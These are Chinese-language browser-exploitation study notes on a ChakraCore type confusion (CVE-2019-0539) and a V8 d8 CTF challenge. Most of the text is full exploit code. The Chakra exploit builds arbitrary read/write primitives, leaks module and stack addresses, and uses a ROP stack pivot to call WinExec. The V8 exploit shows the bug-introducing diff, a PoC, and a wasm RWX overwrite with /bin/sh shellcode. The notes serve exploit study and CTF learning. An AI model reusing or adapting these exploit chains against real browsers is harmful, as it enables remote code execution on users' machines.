漏洞复现

  • 本次整理的是浏览器漏洞利用入门相关笔记
  • 下期预告:IoT固件中的命令注入/NotePad++最新字符集漏洞之从PoC到exp

CVE-2019-0539 Chakra TypeConfusion

environ:Win10,ChakraCore commit 331aa3931ab69ca2bd64f7e020165e693b8030b5

Chakra漏洞经典调试笔记链接

漏洞分析

任意地址读写原语

function int64(low,high) 
{
    this.low = low;
    this.high = high;
}
function hex(x) {
    return "0x" + x.toString(16);
}
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;
var op=[1,2,3,4];
op1={};
op1.a=op;

function opt(o, c, value) {
    o.b = 1;

    class A extends c {}

    o.a = value;
}

function main() {
    for (let i = 0; i < 20000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, obj); // o->auxSlots = obj (Step 1)
    o.c = dv1; // obj->auxSlots = dv1 (Step 2)
    obj.h = dv2; // dv1->buffer = dv2 (Step 3)

    let addrof=function(t){
        op1.a=t;
        obj.h=op1;
        vtable_lo = dv1.getUint32(32, true);
        vtable_hi = dv1.getUint32(36, true);
    }

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }

    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(0, value_hi, true);
    }

    // get dv2 vtable pointer
    vtable_lo = dv1.getUint32(0, true);
    vtable_hi = dv1.getUint32(4, true);
    print(hex(vtable_lo + vtable_hi * BASE));

    // read first vtable entry using the RW primitive
    print(hex(read64(vtable_lo, vtable_hi)));

    // write a value to address 0x1111111122222222 using the RW primitive (this will crash)
    write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}

main();

ROP办法

PEB读栈基址,随后栈迁

CFG与bypass

CFG原理剖析
CFG bypass

EXP(calc.exe)

莫名其妙,在WinExec里面炸了
问题解决了 WinExec底层调用CreateProcessInternalA的时候调用了simd指令集的movaps,只需要让rsp 0x10对齐即可

function int64(low,high) 
{
    this.low = low;
    this.high = high;
}
function hex(x,y=0) {
    if (y==0) {
        return "0x" + x.toString(16);
    }else{
        return x.toString(16);
    }
}
function ValidAddr(ad_h){
    // console.log(hex(ad_h));
    if(ad_h <= 0x7fff && ad_h >= 0x7ff0){
        return true;
    }else{
        return false;
    }
}
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;
var op=[1,2,3,4];
op1={};
op1.a=op;

function opt(o, c, value) {
    o.b = 1;

    class A extends c {}

    o.a = value;
}

function main() {
    for (let i = 0; i < 20000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }

    let o = {a: 1, b: 2};
    let cons = function () {};

    cons.prototype = o;

    opt(o, cons, obj); // o->auxSlots = obj (Step 1)
    o.c = dv1; // obj->auxSlots = dv1 (Step 2)
//  obj.h = dv2; // dv1->buffer = dv2 (Step 3)

    let addrof=function(t){
        op1.a=t;
        obj.h=op1;
        vtable_lo = dv1.getUint32(32, true);
        vtable_hi = dv1.getUint32(36, true);
        return new int64(vtable_lo, vtable_hi);
    }

    let read64 = function(addr) {
        obj.h = dv2;
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr.low, true);
        dv1.setUint32(0x3C, addr.high, true);
        // read from addr (Step 5)
        return new int64(dv2.getUint32(0, true), dv2.getUint32(4, true));
    }

    let write64 = function(addr, value) {
        obj.h = dv2;
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr.low, true);
        dv1.setUint32(0x3C, addr.high, true);
        // write to addr (Step 5)
        dv2.setInt32(0, value.low, true);
        dv2.setInt32(4, value.high, true);
    }

    let write128 = function(addr, value1,value2){
        obj.h = dv2;
        dv1.setUint32(0x38, addr.low, true);
        dv1.setUint32(0x3C, addr.high, true);
        dv2.setInt32(0, value1.low, true);
        dv2.setInt32(4, value1.high, true);
        dv2.setInt32(8, value2.low, true);
        dv2.setInt32(12, value2.high, true); 
    }
    obj_addr = addrof(op);
    console.log("OBJ\t",hex(obj_addr.low+(BASE*obj_addr.high),1))
    let chakra_base = read64(obj_addr);
    chakra_base.low -= ((chakra_base.low)&0xfff);
    for (;;) {
        chakra_base.low -= 0x1000;
        // console.log(hex(chakra_base.high),hex(chakra_base.low));
        if (read64(chakra_base).low == 0x905a4d) {
            break;
        }
    }
    console.log("ChakraCore.BASE\t",hex(chakra_base.low+(BASE*chakra_base.high),1));
    let IAT = new int64(chakra_base.low,chakra_base.high);
    for (;;) {
        IAT.low += 0x1000;
        let tmp0 = new int64(IAT.low,IAT.high);
        let tmp1 = new int64(IAT.low+0x8,IAT.high);
        let tmp2 = new int64(IAT.low+0x10,IAT.high);
        let tmp3 = new int64(IAT.low+0x18,IAT.high);
        if(ValidAddr(read64(tmp0).high) && ValidAddr(read64(tmp1).high) && ValidAddr(read64(tmp2).high) && ValidAddr(read64(tmp3).high)){
            break;
        }
    }
    console.log("ChakraCore.IAT\t",hex(IAT.low+(BASE*IAT.high),1));
    sundry_ptr = new int64(IAT.low+0x50,IAT.high);
    let KERNEL32 = read64(sundry_ptr);
    KERNEL32.low -= ((KERNEL32.low)&0xfff);
    for (;;) {
        KERNEL32.low -= 0x1000;
        if (read64(KERNEL32).low == 0x905a4d) {
            break;
        }
    }
    console.log("KERNEL32.BASE\t",hex(KERNEL32.low+(BASE*KERNEL32.high),1));
    let KIAT_lstrlenA = new int64(KERNEL32.low+0x76130,KERNEL32.high);
    let j_WinExec = new int64(KERNEL32.low+0x5e670,KERNEL32.high);
    let pop_rsp = new int64(KERNEL32.low+0x10baa,KERNEL32.high);
    let pop_rcx = new int64(KERNEL32.low+0x1adf3,KERNEL32.high);
    let mov_edx = new int64(KERNEL32.low+0x3454a,KERNEL32.high);
    let retn = new int64(KERNEL32.low+0x34551,KERNEL32.high);
    console.log("POP RSP\t",hex(pop_rsp.low+(BASE*pop_rsp.high),1))

    sundry_ptr = new int64(IAT.low+0x40,IAT.high);
    let NTDLL = read64(sundry_ptr);
    NTDLL.low -= ((NTDLL.low)&0xfff);
    for(;;){
        NTDLL.low -= 0x1000;
        if(read64(NTDLL).low == 0x905a4d){
            break;
        }
    }
    console.log("NTDLL.BASE\t",hex(NTDLL.low+(BASE*NTDLL.high),1));
    console.log("USE KERNEL32 AND NTDLL TO LEAK AND ROP");
    dv1.setUint32(0x38,obj_addr.low+0x108,true);
    dv1.setUint32(0x3c,obj_addr.high,true);
    let shell = [0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00];
    for(let i = 0; i < shell.length; i++){
        dv2.setUint8(i,shell[i]);
    }
    console.log("LEAK");
    let ptr2pebLdr = new int64(NTDLL.low+0x15c360-0x28,NTDLL.high);
    let PEB_ADDR = read64(ptr2pebLdr);
    console.log("PEB\t",hex(PEB_ADDR.low+(BASE*PEB_ADDR.high),1));
    let ptr2stackbase = new int64(PEB_ADDR.low+0x50,PEB_ADDR.high);
    let stack_base_mid = read64(ptr2stackbase);
    console.log("STACK_jmp\t",hex(stack_base_mid.low+(BASE*stack_base_mid.high),1));
    let ptr2rbp = new int64(stack_base_mid.low-0x4c0,stack_base_mid.high);
    let STACK_PTR = read64(ptr2rbp);
    let RSP_RET = new int64(STACK_PTR.low-0x1000+0x68,STACK_PTR.high);
    console.log("RSP\t",hex(RSP_RET.low+(BASE*RSP_RET.high),1));

    let dv3 = new DataView(new ArrayBuffer(0x1000));
    let dv_addr = addrof(dv3);
    console.log("PREPARE PIVOT\t",hex(dv_addr.low+(BASE*dv_addr.high),1))

    obj_addr.low += 0x108;

    write64(dv_addr,pop_rcx);
    dv_addr.low+=8;
    write64(dv_addr,obj_addr);
    dv_addr.low+=8;
    write64(dv_addr,mov_edx);
    dv_addr.low+=8;
    write64(dv_addr,retn);
    dv_addr.low+=8;
    write64(dv_addr,j_WinExec);
    dv_addr.low-=0x20;
    write128(RSP_RET,pop_rsp,dv_addr);

}

main();

KCTF-Q3 d8 (v8整型溢出魔改版)

environ:Ubuntu18.04, commit=a2e86bf6dc0dd260455ae6ceacec0f7869d965a3

漏洞分析

漏洞成因:FastElement基类中的FillImpl方法未对执行fill(elements,start,end)时的endcapacity进行第二轮校验
(第一轮校验为Runtime_ObjectGetOwnPropertyNamesTryFast)

diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 13a35b0cd3..3211a43525 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1691,7 +1691,7 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) {
 }

 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
-  Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+  Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);/*
   global_template->Set(
       String::NewFromUtf8(isolate, "print", NewStringType::kNormal)
           .ToLocalChecked(),
@@ -1879,7 +1879,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
         String::NewFromUtf8(isolate, "async_hooks", NewStringType::kNormal)
             .ToLocalChecked(),
         async_hooks_templ);
-  }
+  }*/

   return global_template;
 }
diff --git a/src/objects/elements.cc b/src/objects/elements.cc
index 6e5648d2f4..5e259925dc 100644
--- a/src/objects/elements.cc
+++ b/src/objects/elements.cc
@@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> {
     }

     // Make sure we have enough space.
-    uint32_t capacity =
-        Subclass::GetCapacityImpl(*receiver, receiver->elements());
-    if (end > capacity) {
-      Subclass::GrowCapacityAndConvertImpl(receiver, end);
-      CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
-    }
     DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements()));

     for (uint32_t index = start; index < end; ++index) {

需绕过Runtime_ObjectGetOwnPropertyNamesTryFast

V8_WARN_UNUSED_RESULT bool TryFastArrayFill(Isolate* isolate, BuiltinArguments* args, Handle<JSReceiver> receiver,Handle<Object> value, double start_index, double end_index) {
  // If indices are too large, use generic path since they are stored as
  // properties, not in the element backing store.
  if (end_index > kMaxUInt32) return false;
  if (!receiver->IsJSObject()) return false;

  if (!EnsureJSArrayWithWritableFastElements(isolate, receiver, args, 1, 1)) {
    return false;
  }

  Handle<JSArray> array = Handle<JSArray>::cast(receiver);

  // If no argument was provided, we fill the array with 'undefined'.
  // EnsureJSArrayWith... does not handle that case so we do it here.
  // TODO(szuend): Pass target elements kind to EnsureJSArrayWith... when
  //               it gets refactored.
  if (args->length() == 1 && array->GetElementsKind() != PACKED_ELEMENTS) {
    // Use a short-lived HandleScope to avoid creating several copies of the
    // elements handle which would cause issues when left-trimming later-on.
    HandleScope scope(isolate);
    JSObject::TransitionElementsKind(array, PACKED_ELEMENTS);
  }

  uint32_t start, end;
  CHECK(DoubleToUint32IfEqualToSelf(start_index, &start));
  CHECK(DoubleToUint32IfEqualToSelf(end_index, &end));

  ElementsAccessor* accessor = array->GetElementsAccessor();
  accessor->Fill(array, value, start, end);
  return true;
}

触发漏洞

写出PoC,触发FastElement的稳定向后溢出

arr = [];global = [];arr.length = 65536;
editend = {valueOf:function(){arr.length = 32;arr.fill(1);let arr0 = [1.1,1.1,1.1,1.1];global = arr0;return 0x2a;}};
x = arr.fill(0x66666666,0x29,editend);

漏洞利用

  • 通过向后覆写改写下一个FastDoubleArray的size,造成OOB持久化,从而为接下来稳定的任意地址读写打下基础
  • 通过改写FastElement中的elements指针实现任意地址读,从而实现read64原语,并通过wasm的JIT特性开启RWX的内存段用以执行shellcode

    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); 
    var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;
    arr = [];
    global = [];
    arr.length = 65536;
    iCallback = {valueOf:function(){
    arr.length = 32;
    arr.fill(2.2);
    let arr0 = [1.1,1.1,1.1,1.1];
    global = arr0;
    return 0x2a;
    }
    };
    x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback);
    var ab = new Array(0x20);
    ab.fill(0,0x20,1,1);
    leak     = Int64.fromDouble(global[5]);
    pde_map    = Int64.fromDouble(global[4]);
    gb_sto    = Int64.fromDouble(global[6]);
    proc_heap  = Int64.fromDouble(global[12]);
    function i2f(i)
    {
    var x = (new Int64(i)).asDouble();
    }
    function AddrOf(obj)
    {
    global[10] = new Int64(gb_sto-0x100).asDouble();
    ab[1] = obj;
    obj_addr = Int64.fromDouble(arr[3]);
    return obj_addr;
    }
    function read64(addr)
    {
    global[10] = new Int64(addr-0x10).asDouble();
    return ab[0];
    }
    var obj = {"a": 1};
    var obj_array = [obj];
    var float_array = [1.1];
    var fake_array = [pde_map,i2f(0),i2f(0x41414141),i2f(0x1000000000),1.1,2.2];
    var f_addr = AddrOf(f);
    console.log(hex(f_addr));
    var shared_info_addr = AddrOf(read64(Add(f_addr,0x18)));
    console.log(hex(shared_info_addr));
    var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8)));
    console.log(hex(wasm_exported_func_data_addr));
    var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10)));
    console.log(wasm_instance_addr);
    var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80)));
    console.log(rwx_page_addr);

    最终劫持ArrayBuffer的Backing Store达成任意地址写,执行被篡改为shellcode的wasm

    var buf =new ArrayBuffer(16);
    var float64 = new Float64Array(buf);
    var bigUint64 = new BigUint64Array(buf);
    function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++){
        res.push(('0' + bytes[i].toString(16)).substr(-2));
    }
    return res.join('');
    }
    function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");
    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
    return bytes;
    }
    var Struct = (function() {
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);
    return {
        pack: function(type, value) {
            var view = type;
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },
        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");
            var view = type;
            byteView.set(bytes);
            return view[0];
        },
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
    })();
    function Int64(v) {
    var bytes = new Uint8Array(8);
    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;
            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }
    this.asDouble = function() {
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");
        return Struct.unpack(Struct.float64, bytes);
    };
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);
        return res;
    };
    this.bytes = function() {
        return Array.from(bytes);
    };
    this.byteAt = function(i) {
        return bytes[i];
    };
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }
    
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);
        return this.assignAdd(this, Int64.One);
    }, 1);
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
    this.assignAnd = operation(function and(a, b) {
        for (var i = 0; i < 8; i++) {
            bytes[i] = a.byteAt(i) & b.byteAt(i);
        }
        return this;
    }, 2);
    }
    Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
    };
    function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
    }
    function hex(a) {
    if (a == undefined) return "0xUNDEFINED";
    var ret = a.toString(16);
    if (ret.substr(0,2) != "0x") return "0x"+ret;
    else return ret;
    }
    var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasmModule = new WebAssembly.Module(wasmCode);
    var wasmInstance = new WebAssembly.Instance(wasmModule, {});
    var f = wasmInstance.exports.main;
    arr = [];
    global = [];
    arr.length = 65536;
    iCallback = {valueOf:function(){
    arr.length = 32;
    arr.fill(2.2);
    let arr0 = [1.1,1.1,1.1,1.1];
    global = arr0;
    return 0x2a;
    }
    };
    x = arr.fill(4.34584737989687770134811077604E-311,0x29,iCallback);
    var ab = new Array(0x20);
    ab.fill(0,0x20,1,1);
    var aaw = new ArrayBuffer(0x20);
    aaw[0] = 1.111111;
    leak     = Int64.fromDouble(global[5]);
    pde_map    = Int64.fromDouble(global[4]);
    gb_sto    = Int64.fromDouble(global[6]);
    proc_heap  = Int64.fromDouble(global[12]);
    function i2f(i)
    {
    var x = (new Int64(i)).asDouble();
    }
    function AddrOf(obj)
    {
    global[10] = new Int64(gb_sto-0x100).asDouble();
    ab[1] = obj;
    obj_addr = Int64.fromDouble(arr[3]);
    return obj_addr;
    }
    function read64(addr)
    {
    global[10] = new Int64(addr-0x10).asDouble();
    return ab[0];
    }
    function i2f2(i)
    {
    bigUint64[0] = i;
    return float64[0];
    }
    var f_addr = AddrOf(f);
    console.log(hex(f_addr));
    var shared_info_addr = AddrOf(read64(Add(f_addr,0x18)));
    console.log(hex(shared_info_addr));
    var wasm_exported_func_data_addr = AddrOf(read64(Add(shared_info_addr,0x8)));
    console.log(hex(wasm_exported_func_data_addr));
    var wasm_instance_addr = AddrOf(read64(Add(wasm_exported_func_data_addr,0x10)));
    console.log(wasm_instance_addr);
    var rwx_page_addr = AddrOf(read64(Add(wasm_instance_addr,0x80)));
    console.log(rwx_page_addr);
    var shellcode=[0x2fbb485299583b6an,0x5368732f6e69622fn,0x050f5e5457525f54n];
    var data_view = new DataView(aaw);
    var backing_store_addr = AddrOf(aaw)+0x20;
    global[0x32] = new Int64(rwx_page_addr).asDouble();
    data_view.setFloat64(0, i2f2(shellcode[0]), true);
    data_view.setFloat64(8, i2f2(shellcode[1]), true);
    data_view.setFloat64(16, i2f2(shellcode[2]), true);
    f();

更加具体的分析

写在自己的WP里了